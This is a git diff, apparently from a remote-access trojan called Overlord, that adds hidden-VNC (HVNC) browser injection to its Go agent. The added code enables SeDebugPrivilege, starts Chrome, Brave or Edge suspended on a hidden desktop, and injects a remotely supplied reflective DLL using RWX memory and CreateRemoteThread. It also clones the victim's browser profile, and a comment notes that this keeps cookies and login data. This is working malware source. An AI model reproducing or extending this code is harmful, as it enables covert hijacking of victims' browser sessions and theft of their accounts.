+ DWORD dwHeapSegmentReserve;
+ DWORD dwHeapSegmentCommit;
+ DWORD dwHeapDeCommitTotalFreeThreshold;
+ DWORD dwHeapDeCommitFreeBlockThreshold;
+ DWORD dwNumberOfHeaps;
+ DWORD dwMaximumNumberOfHeaps;
+ LPVOID lpProcessHeaps;
+ LPVOID lpGdiSharedHandleTable;
+ LPVOID lpProcessStarterHelper;
+ DWORD dwGdiDCAttributeList;
+ LPVOID lpLoaderLock;
+ DWORD dwOSMajorVersion;
+ DWORD dwOSMinorVersion;
+ WORD wOSBuildNumber;
+ WORD wOSCSDVersion;
+ DWORD dwOSPlatformId;
+ DWORD dwImageSubsystem;
+ DWORD dwImageSubsystemMajorVersion;
+ DWORD dwImageSubsystemMinorVersion;
+ DWORD dwImageProcessAffinityMask;
+ DWORD dwGdiHandleBuffer[34];
+ LPVOID lpPostProcessInitRoutine;
+ LPVOID lpTlsExpansionBitmap;
+ DWORD dwTlsExpansionBitmapBits[32];
+ DWORD dwSessionId;
+ ULARGE_INTEGER liAppCompatFlags;
+ ULARGE_INTEGER liAppCompatFlagsUser;
+ LPVOID lppShimData;
+ LPVOID lpAppCompatInfo;
+ UNICODE_STR usCSDVersion;
+ LPVOID lpActivationContextData;
+ LPVOID lpProcessAssemblyStorageMap;
+ LPVOID lpSystemDefaultActivationContextData;
+ LPVOID lpSystemAssemblyStorageMap;
+ DWORD dwMinimumStackCommit;
+} _PEB, * _PPEB;
+
+typedef struct
+{
+ WORD offset : 12;
+ WORD type : 4;
+} IMAGE_RELOC, * PIMAGE_RELOC;
+//===============================================================================================//
+#endif
+//===============================================================================================//
diff --git a/HVNCInjection/src/libMinHook.x64.lib b/HVNCInjection/src/libMinHook.x64.lib
new file mode 100644
index 0000000..e211ad6
Binary files /dev/null and b/HVNCInjection/src/libMinHook.x64.lib differ
diff --git a/HVNCInjection/src/seh_compat.h b/HVNCInjection/src/seh_compat.h
new file mode 100644
index 0000000..322e1b8
--- /dev/null
+++ b/HVNCInjection/src/seh_compat.h
@@ -0,0 +1,18 @@
+// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
+#ifndef _HVNC_SEH_COMPAT_H
+#define _HVNC_SEH_COMPAT_H
+
+#ifdef __MINGW32__
+// MinGW doesn't support MSVC structured exception handling.
+// Replace __try/__except with plain code execution (no SEH guard).
+#define __try
+#define __except(x) if (0)
+#define __finally
+
+// MSVC uses GetExceptionCode() inside __except; provide a stub.
+#ifndef GetExceptionCode
+#define GetExceptionCode() 0
+#endif
+#endif // __MINGW32__
+
+#endif // _HVNC_SEH_COMPAT_H
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
new file mode 100644
index 0000000..f0e5c47
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
@@ -0,0 +1,17 @@
+//go:build !windows
+
+package capture
+
+import "errors"
+
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+ return errors.New("HVNC injection not supported on this platform")
+}
+
+func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
+ return errors.New("HVNC injection not supported on this platform")
+}
+
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
+ return errors.New("HVNC injection not supported on this platform")
+}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
new file mode 100644
index 0000000..bfcac20
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
@@ -0,0 +1,656 @@
+//go:build windows
+
+package capture
+
+import (
+ "encoding/binary"
+ "fmt"
+ "io"
+ "log"
+ "os"
+ "path/filepath"
+ "strings"
+ "syscall"
+ "time"
+ "unsafe"
+)
+
+var (
+ procOpenProcess = kernel32.NewProc("OpenProcess")
+ procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
+ procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
+ procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
+ procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
+ procCloseHandle = kernel32.NewProc("CloseHandle")
+ procResumeThread = kernel32.NewProc("ResumeThread")
+ procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
+ procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
+ procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
+)
+
+var advapi32 = syscall.NewLazyDLL("advapi32.dll")
+
+const (
+ PROCESS_CREATE_THREAD = 0x0002
+ PROCESS_QUERY_INFORMATION = 0x0400
+ PROCESS_VM_OPERATION = 0x0008
+ PROCESS_VM_WRITE = 0x0020
+ PROCESS_VM_READ = 0x0010
+ PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
+
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+
+ INFINITE_WAIT = 0xFFFFFFFF
+
+ TOKEN_ADJUST_PRIVILEGES = 0x0020
+ TOKEN_QUERY = 0x0008
+ SE_PRIVILEGE_ENABLED = 0x00000002
+
+ CREATE_SUSPENDED = 0x00000004
+ CREATE_UNICODE_ENVIRONMENT = 0x00000400
+
+ IMAGE_DIRECTORY_ENTRY_EXPORT = 0
+ IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b
+ IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
+)
+
+// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
+func enableDebugPrivilege() {
+ var hToken uintptr
+ currentProcess, _, _ := kernel32.NewProc("GetCurrentProcess").Call()
+ ret, _, _ := procOpenProcessToken.Call(currentProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
+ if ret == 0 {
+ return
+ }
+ defer procCloseHandle.Call(hToken)
+
+ seDebug, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
+ type luid struct {
+ LowPart uint32
+ HighPart int32
+ }
+ type luidAndAttributes struct {
+ Luid luid
+ Attributes uint32
+ }
+ type tokenPrivileges struct {
+ PrivilegeCount uint32
+ Privileges luidAndAttributes
+ }
+ var tp tokenPrivileges
+ tp.PrivilegeCount = 1
+ tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED
+
+ ret, _, _ = procLookupPrivilegeValueW.Call(0, uintptr(unsafe.Pointer(seDebug)), uintptr(unsafe.Pointer(&tp.Privileges.Luid)))
+ if ret == 0 {
+ return
+ }
+ procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
+}
+
+// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
+// injects the reflective DLL, then resumes it.
+// searchPath/replacePath are passed as environment variables for the DLL hooks.
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+ if filePath == "" {
+ return fmt.Errorf("empty file path")
+ }
+ if len(dllBytes) == 0 {
+ return fmt.Errorf("empty DLL bytes")
+ }
+
+ result, err := executeHVNCTask(hvncTask{
+ kind: hvncTaskStartProcessInjected,
+ filePath: filePath,
+ dllBytes: dllBytes,
+ searchPath: searchPath,
+ replacePath: replacePath,
+ }, 30*time.Second)
+ if err != nil {
+ return err
+ }
+ return result.err
+}
+
+// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
+// If clone is true, it clones the real profile so file I/O is redirected to the clone.
+// If clone is false, it starts the browser with injection but no path redirection.
+// browser should be one of: "chrome", "brave", "edge".
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
+ info, ok := browserInfoMap[strings.ToLower(browser)]
+ if !ok {
+ return fmt.Errorf("unknown browser %q", browser)
+ }
+
+ if exePath == "" {
+ exePath = findBrowserExe(info)
+ if exePath == "" {
+ return fmt.Errorf("%s not found", info.name)
+ }
+ }
+
+ if !clone {
+ log.Printf("hvnc %s: starting without profile cloning", info.name)
+ return StartHVNCProcessInjected(exePath, dllBytes, "", "")
+ }
+
+ realUserData := getBrowserUserDataDir(info)
+ if realUserData == "" {
+ return fmt.Errorf("could not determine %s user data directory", info.name)
+ }
+ log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
+
+ cloneDir, err := cloneBrowserProfile(info.name, realUserData)
+ if err != nil {
+ return fmt.Errorf("profile clone failed: %v", err)
+ }
+ log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
+
+ return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
+}
+
+// StartHVNCChromeInjected is kept for backward compatibility.
+func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
+ return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true)
+}
+
+type browserInfo struct {
+ name string
+ exePaths []string // candidate exe locations (env vars expanded at runtime)
+ userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
+ useAppData bool // true = use APPDATA instead of LOCALAPPDATA
+}
+
+var browserInfoMap = map[string]browserInfo{
+ "chrome": {
+ name: "Chrome",
+ exePaths: []string{
+ `\Google\Chrome\Application\chrome.exe`,
+ },
+ userData: `Google\Chrome\User Data`,
+ },
+ "brave": {
+ name: "Brave",
+ exePaths: []string{
+ `\BraveSoftware\Brave-Browser\Application\brave.exe`,
+ },
+ userData: `BraveSoftware\Brave-Browser\User Data`,
+ },
+ "edge": {
+ name: "Edge",
+ exePaths: []string{
+ `\Microsoft\Edge\Application\msedge.exe`,
+ },
+ userData: `Microsoft\Edge\User Data`,
+ },
+}
+
+func findBrowserExe(info browserInfo) string {
+ roots := []string{
+ os.Getenv("ProgramFiles"),
+ os.Getenv("ProgramFiles(x86)"),
+ os.Getenv("LOCALAPPDATA"),
+ }
+ for _, root := range roots {
+ if root == "" {
+ continue
+ }
+ for _, suffix := range info.exePaths {
+ p := root + suffix
+ if _, err := os.Stat(p); err == nil {
+ return p
+ }
+ }
+ }
+ return ""
+}
+
+func getBrowserUserDataDir(info browserInfo) string {
+ base := os.Getenv("LOCALAPPDATA")
+ if info.useAppData {
+ base = os.Getenv("APPDATA")
+ }
+ if base == "" {
+ return ""
+ }
+ dir := filepath.Join(base, info.userData)
+ if fi, err := os.Stat(dir); err == nil && fi.IsDir() {
+ return dir
+ }
+ return ""
+}
+
+// cloneBrowserProfile clones the browser user data directory, skipping only
+// large cache directories that aren't needed for a functional session.
+// This preserves extensions, cookies, login data, local storage, etc.
+func cloneBrowserProfile(browserName string, srcUserData string) (string, error) {
+ prefix := "hvnc_" + strings.ToLower(browserName) + "_"
+ // Remove any previous cloned profile directories so we always use fresh data
+ tmpDir := os.TempDir()
+ if old, err := os.ReadDir(tmpDir); err == nil {
+ for _, e := range old {
+ if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
+ p := filepath.Join(tmpDir, e.Name())
+ log.Printf("hvnc %s: removing old clone %s", browserName, p)
+ os.RemoveAll(p)
+ }
+ }
+ }
+
+ cloneBase := filepath.Join(tmpDir, prefix+fmt.Sprintf("%d", time.Now().UnixNano()))
+ if err := os.MkdirAll(cloneBase, 0700); err != nil {
+ return "", fmt.Errorf("mkdir clone: %v", err)
+ }
+
+ // Directories to skip — these are large caches that aren't needed
+ skipDirs := map[string]bool{
+ "cache": true,
+ "code cache": true,
+ "gpucache": true,
+ "service worker": true,
+ "crashpad": true,
+ "blob_storage": true,
+ "jumplisterrors": true,
+ "optimization_guide_prediction_model_downloads": true,
+ "segmentation_platform": true,
+ "commerce_local_db": true,
+ }
+
+ entries, err := os.ReadDir(srcUserData)
+ if err != nil {
+ return "", fmt.Errorf("read user data dir: %v", err)
+ }
+
+ for _, entry := range entries {
+ name := entry.Name()
+ src := filepath.Join(srcUserData, name)
+ dst := filepath.Join(cloneBase, name)
+
+ if entry.IsDir() {
+ // For profile directories (Default, Profile N), clone contents but skip caches inside
+ isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
+ if isProfile {
+ if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil {
+ log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
+ }
+ } else if !skipDirs[strings.ToLower(name)] {
+ // Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
+ if err := copyDir(src, dst); err != nil {
+ log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
+ }
+ }
+ } else {
+ // Top-level files (Local State, etc.)
+ if err := copyFile(src, dst); err != nil {
+ log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
+ }
+ }
+ }
+
+ return cloneBase, nil
+}
+
+// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs.
+func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error {
+ if err := os.MkdirAll(dst, 0700); err != nil {
+ return err
+ }
+ entries, err := os.ReadDir(src)
+ if err != nil {
+ return err
+ }
+ for _, entry := range entries {
+ name := entry.Name()
+ s := filepath.Join(src, name)
+ d := filepath.Join(dst, name)
+
+ if entry.IsDir() {
+ if skipDirs[strings.ToLower(name)] {
+ continue
+ }
+ if err := copyDir(s, d); err != nil {
+ log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
+ }
+ } else {
+ if err := copyFile(s, d); err != nil {
+ log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
+ }
+ }
+ }
+ return nil
+}
+
+func copyFile(src, dst string) error {
+ in, err := os.Open(src)
+ if err != nil {
+ return err
+ }
+ defer in.Close()
+
+ if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
+ return err
+ }
+ out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
+ if err != nil {
+ return err
+ }
+ defer out.Close()
+
+ _, err = io.Copy(out, in)
+ return err
+}
+
+func copyDir(src, dst string) error {
+ return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
+ if err != nil {
+ return nil // skip errors
+ }
+ rel, _ := filepath.Rel(src, path)
+ target := filepath.Join(dst, rel)
+ if info.IsDir() {
+ return os.MkdirAll(target, 0700)
+ }
+ return copyFile(path, target)
+ })
+}
+
+func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
+ if filePath == "" {
+ return fmt.Errorf("empty file path")
+ }
+ if len(dllBytes) == 0 {
+ return fmt.Errorf("empty DLL bytes")
+ }
+
+ enableDebugPrivilege()
+
+ // Create the process suspended on the HVNC desktop
+ hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath)
+ if err != nil {
+ return fmt.Errorf("failed to create suspended process: %v", err)
+ }
+ log.Printf("hvnc inject: created suspended process PID %d", pid)
+
+ // Inject the reflective DLL
+ if err := reflectiveInject(hProcess, dllBytes); err != nil {
+ procCloseHandle.Call(hProcess)
+ procCloseHandle.Call(hThread)
+ // Try to kill the process
+ terminateProcess(hProcess)
+ return fmt.Errorf("DLL injection failed: %v", err)
+ }
+ log.Printf("hvnc inject: DLL injected into PID %d", pid)
+
+ procCloseHandle.Call(hProcess)
+
+ // Resume the main thread
+ ret, _, _ := procResumeThread.Call(hThread)
+ if ret == 0xFFFFFFFF {
+ procCloseHandle.Call(hThread)
+ return fmt.Errorf("failed to resume thread")
+ }
+ procCloseHandle.Call(hThread)
+
+ log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
+ return nil
+}
+
+func terminateProcess(hProcess uintptr) {
+ kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
+}
+
+func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) {
+ desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
+ if err != nil {
+ return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
+ }
+ cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0")
+ if err != nil {
+ return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
+ }
+
+ var si startupInfo
+ var pi processInformation
+ si.cb = uint32(unsafe.Sizeof(si))
+ si.lpDesktop = desktopNamePtr
+ si.dwX = 0
+ si.dwY = 0
+ si.dwFlags = STARTF_USEPOSITION
+
+ envBlock, err := buildEnvironmentBlock(searchPath, replacePath)
+ if err != nil {
+ return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
+ }
+
+ ret, _, callErr := procCreateProcessW.Call(
+ 0,
+ uintptr(unsafe.Pointer(&cmdLine[0])),
+ 0,
+ 0,
+ 0,
+ uintptr(CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT),
+ uintptr(unsafe.Pointer(&envBlock[0])),
+ 0,
+ uintptr(unsafe.Pointer(&si)),
+ uintptr(unsafe.Pointer(&pi)),
+ )
+ if ret == 0 {
+ if callErr != nil {
+ return 0, 0, 0, fmt.Errorf("CreateProcess failed: %v", callErr)
+ }
+ return 0, 0, 0, fmt.Errorf("CreateProcess failed")
+ }
+
+ return pi.hProcess, pi.hThread, pi.dwProcessId, nil
+}
+
+func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) {
+ envStrings := syscall.Environ()
+
+ envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
+ envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
+
+ var block []uint16
+ for _, s := range envStrings {
+ u, err := syscall.UTF16FromString(s)
+ if err != nil {
+ continue
+ }
+ block = append(block, u...)
+ }
+ block = append(block, 0)
+ return block, nil
+}
+
+func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
+ loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
+ if err != nil {
+ return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
+ }
+ log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
+
+ remoteBase, _, _ := procVirtualAllocEx.Call(
+ hProcess,
+ 0,
+ uintptr(len(dllBytes)),
+ MEM_RESERVE|MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE,
+ )
+ if remoteBase == 0 {
+ return fmt.Errorf("VirtualAllocEx failed")
+ }
+
+ var bytesWritten uintptr
+ ret, _, _ := procWriteProcessMemory.Call(
+ hProcess,
+ remoteBase,
+ uintptr(unsafe.Pointer(&dllBytes[0])),
+ uintptr(len(dllBytes)),
+ uintptr(unsafe.Pointer(&bytesWritten)),
+ )
+ if ret == 0 {
+ return fmt.Errorf("WriteProcessMemory failed")
+ }
+
+ remoteLoader := remoteBase + uintptr(loaderOffset)
+
+ var threadID uintptr
+ hThread, _, _ := procCreateRemoteThread.Call(
+ hProcess,
+ 0,
+ 1024*1024,
+ remoteLoader,
+ 0,
+ 0,
+ uintptr(unsafe.Pointer(&threadID)),
+ )
+ if hThread == 0 {
+ return fmt.Errorf("CreateRemoteThread failed")
+ }
+
+ procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
+ procCloseHandle.Call(hThread)
+
+ return nil
+}
+
+func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
+ if len(pe) < 64 {
+ return 0, fmt.Errorf("PE too small")
+ }
+
+ if pe[0] != 'M' || pe[1] != 'Z' {
+ return 0, fmt.Errorf("invalid DOS signature")
+ }
+ lfanew := binary.LittleEndian.Uint32(pe[60:64])
+ if int(lfanew)+4 > len(pe) {
+ return 0, fmt.Errorf("invalid e_lfanew")
+ }
+
+ sig := binary.LittleEndian.Uint32(pe[lfanew : lfanew+4])
+ if sig != 0x00004550 {
+ return 0, fmt.Errorf("invalid PE signature")
+ }
+
+ coffOff := lfanew + 4
+ if int(coffOff)+20 > len(pe) {
+ return 0, fmt.Errorf("PE too small for COFF header")
+ }
+ numberOfSections := binary.LittleEndian.Uint16(pe[coffOff+2 : coffOff+4])
+ sizeOfOptionalHeader := binary.LittleEndian.Uint16(pe[coffOff+16 : coffOff+18])
+
+ optOff := coffOff + 20
+ if int(optOff)+2 > len(pe) {
+ return 0, fmt.Errorf("PE too small for optional header")
+ }
+ magic := binary.LittleEndian.Uint16(pe[optOff : optOff+2])
+
+ var exportDirRVA uint32
+ switch magic {
+ case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
+ ddOff := optOff + 112
+ if int(ddOff)+8 > len(pe) {
+ return 0, fmt.Errorf("PE too small for data directory")
+ }
+ exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
+ case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
+ // PE32 - export directory is at offset 96 in optional header
+ ddOff := optOff + 96
+ if int(ddOff)+8 > len(pe) {
+ return 0, fmt.Errorf("PE too small for data directory")
+ }
+ exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
+ default:
+ return 0, fmt.Errorf("unsupported PE magic: 0x%x", magic)
+ }
+
+ if exportDirRVA == 0 {
+ return 0, fmt.Errorf("no export directory")
+ }
+
+ sectionOff := optOff + uint32(sizeOfOptionalHeader)
+
+ exportDirFileOff := rvaToFileOffset(exportDirRVA, pe, sectionOff, numberOfSections)
+ if exportDirFileOff == 0 {
+ return 0, fmt.Errorf("failed to resolve export directory RVA")
+ }
+
+ if int(exportDirFileOff)+40 > len(pe) {
+ return 0, fmt.Errorf("PE too small for export directory")
+ }
+ numberOfNames := binary.LittleEndian.Uint32(pe[exportDirFileOff+24 : exportDirFileOff+28])
+ addressOfFunctionsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+28 : exportDirFileOff+32])
+ addressOfNamesRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+32 : exportDirFileOff+36])
+ addressOfNameOrdinalsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+36 : exportDirFileOff+40])
+
+ namesOff := rvaToFileOffset(addressOfNamesRVA, pe, sectionOff, numberOfSections)
+ funcsOff := rvaToFileOffset(addressOfFunctionsRVA, pe, sectionOff, numberOfSections)
+ ordinalsOff := rvaToFileOffset(addressOfNameOrdinalsRVA, pe, sectionOff, numberOfSections)
+ if namesOff == 0 || funcsOff == 0 || ordinalsOff == 0 {
+ return 0, fmt.Errorf("failed to resolve export table RVAs")
+ }
+
+ for i := uint32(0); i < numberOfNames; i++ {
+ nameRVA := binary.LittleEndian.Uint32(pe[namesOff+i*4 : namesOff+i*4+4])
+ nameFileOff := rvaToFileOffset(nameRVA, pe, sectionOff, numberOfSections)
+ if nameFileOff == 0 {
+ continue
+ }
+
+ name := readCString(pe, nameFileOff)
+ if contains(name, "ReflectiveLoader") {
+ ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2])
+ funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4])
+ return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil
+ }
+ }
+
+ return 0, fmt.Errorf("ReflectiveLoader export not found")
+}
+
+func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 {
+ for i := uint16(0); i < numSections; i++ {
+ off := sectionOff + uint32(i)*40
+ if int(off)+40 > len(pe) {
+ break
+ }
+ virtualSize := binary.LittleEndian.Uint32(pe[off+8 : off+12])
+ virtualAddr := binary.LittleEndian.Uint32(pe[off+12 : off+16])
+ rawDataSize := binary.LittleEndian.Uint32(pe[off+16 : off+20])
+ rawDataPtr := binary.LittleEndian.Uint32(pe[off+20 : off+24])
+ _ = virtualSize
+
+ if rva >= virtualAddr && rva < virtualAddr+rawDataSize {
+ return rva - virtualAddr + rawDataPtr
+ }
+ }
+ if numSections > 0 {
+ firstSectionRawPtr := binary.LittleEndian.Uint32(pe[sectionOff+20 : sectionOff+24])
+ if rva < firstSectionRawPtr {
+ return rva
+ }
+ }
+ return 0
+}
+
+func readCString(data []byte, offset uint32) string {
+ end := offset
+ for int(end) < len(data) && data[end] != 0 {
+ end++
+ }
+ return string(data[offset:end])
+}
+
+func contains(s, substr string) bool {
+ if len(substr) > len(s) {
+ return false
+ }
+ for i := 0; i <= len(s)-len(substr); i++ {
+ if s[i:i+len(substr)] == substr {
+ return true
+ }
+ }
+ return false
+}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 7b5338c..fe13a6f 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -174,6 +174,7 @@ type hvncTaskKind int
const (
hvncTaskCapture hvncTaskKind = iota
hvncTaskStartProcess
+ hvncTaskStartProcessInjected
hvncTaskMouseMove
hvncTaskMouseDown
hvncTaskMouseUp
@@ -183,17 +184,20 @@ const (
)
type hvncTask struct {
- kind hvncTaskKind
- id uint64
- display int
- filePath string
- x int32
- y int32
- button int
- vk uint16
- delta int32
- queuedAt time.Time
- resp chan hvncTaskResult
+ kind hvncTaskKind
+ id uint64
+ display int
+ filePath string
+ x int32
+ y int32
+ button int
+ vk uint16
+ delta int32
+ dllBytes []byte
+ searchPath string
+ replacePath string
+ queuedAt time.Time
+ resp chan hvncTaskResult
}
type hvncTaskResult struct {
@@ -412,6 +416,8 @@ func ensureHVNCThread() error {
switch task.kind {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
+ case hvncTaskStartProcessInjected:
+ result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown:
@@ -580,7 +586,7 @@ func hvncThreadWatchdog() {
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
switch kind {
- case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess:
+ case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected:
return true
default:
return false
@@ -593,6 +599,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
return "capture"
case hvncTaskStartProcess:
return "start_process"
+ case hvncTaskStartProcessInjected:
+ return "start_process_injected"
case hvncTaskMouseMove:
return "mouse_move"
case hvncTaskMouseDown:
@@ -620,6 +628,8 @@ func hvncTaskDetails(task hvncTask) string {
return fmt.Sprintf("delta=%d", task.delta)
case hvncTaskStartProcess:
return fmt.Sprintf("cmd=%q", task.filePath)
+ case hvncTaskStartProcessInjected:
+ return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes))
default:
return ""
}
@@ -1148,18 +1158,17 @@ func endHVNCWindowDrag(screenPt point) {
func hvncMouseWheelOnThread(delta int32) error {
pt := currentHVNCCursor()
- hwnd := getWorkingWindow()
+ hwnd := windowFromPoint(pt)
if hwnd == 0 {
- hwnd = windowFromPoint(pt)
+ hwnd = getWorkingWindow()
if hwnd == 0 {
return nil
}
- setWorkingWindow(hwnd)
}
- clientPt := pt
- procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
- wparam := uintptr(uint16(delta)) << 16
- procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(clientPt.x, clientPt.y))
+ // WM_MOUSEWHEEL: wparam high word = delta, low word = button/key state
+ // WM_MOUSEWHEEL: lparam = screen coordinates (NOT client coordinates) (I wanna fucking kms)
+ wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
+ procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
return nil
}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index e387e3d..8d8e698 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -444,6 +444,21 @@ func writeVoiceDownlink(data []byte) error {
return nil
}
+func extractDLLBytes(payload map[string]interface{}) []byte {
+ if payload == nil {
+ return nil
+ }
+ switch v := payload["dll"].(type) {
+ case []byte:
+ return v
+ case string:
+ if len(v) > 0 {
+ return []byte(v)
+ }
+ }
+ return nil
+}
+
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
@@ -1267,6 +1282,92 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
+ case "hvnc_start_process_injected":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ filePath := ""
+ searchPath := ""
+ replacePath := ""
+ if payload != nil {
+ if v, ok := payload["path"].(string); ok {
+ filePath = v
+ }
+ if v, ok := payload["search_path"].(string); ok {
+ searchPath = v
+ }
+ if v, ok := payload["replace_path"].(string); ok {
+ replacePath = v
+ }
+ }
+ dllBytes := extractDLLBytes(payload)
+ if len(dllBytes) == 0 {
+ sendCommandResultSafe(env, cmdID, false, "no DLL provided")
+ return nil
+ }
+ log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
+ sendCommandResultSafe(env, cmdID, true, "")
+ goSafe("hvnc_start_process_injected", nil, func() {
+ if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
+ log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
+ }
+ })
+ return nil
+
+ case "hvnc_start_chrome_injected":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ chromePath := ""
+ if payload != nil {
+ if v, ok := payload["path"].(string); ok {
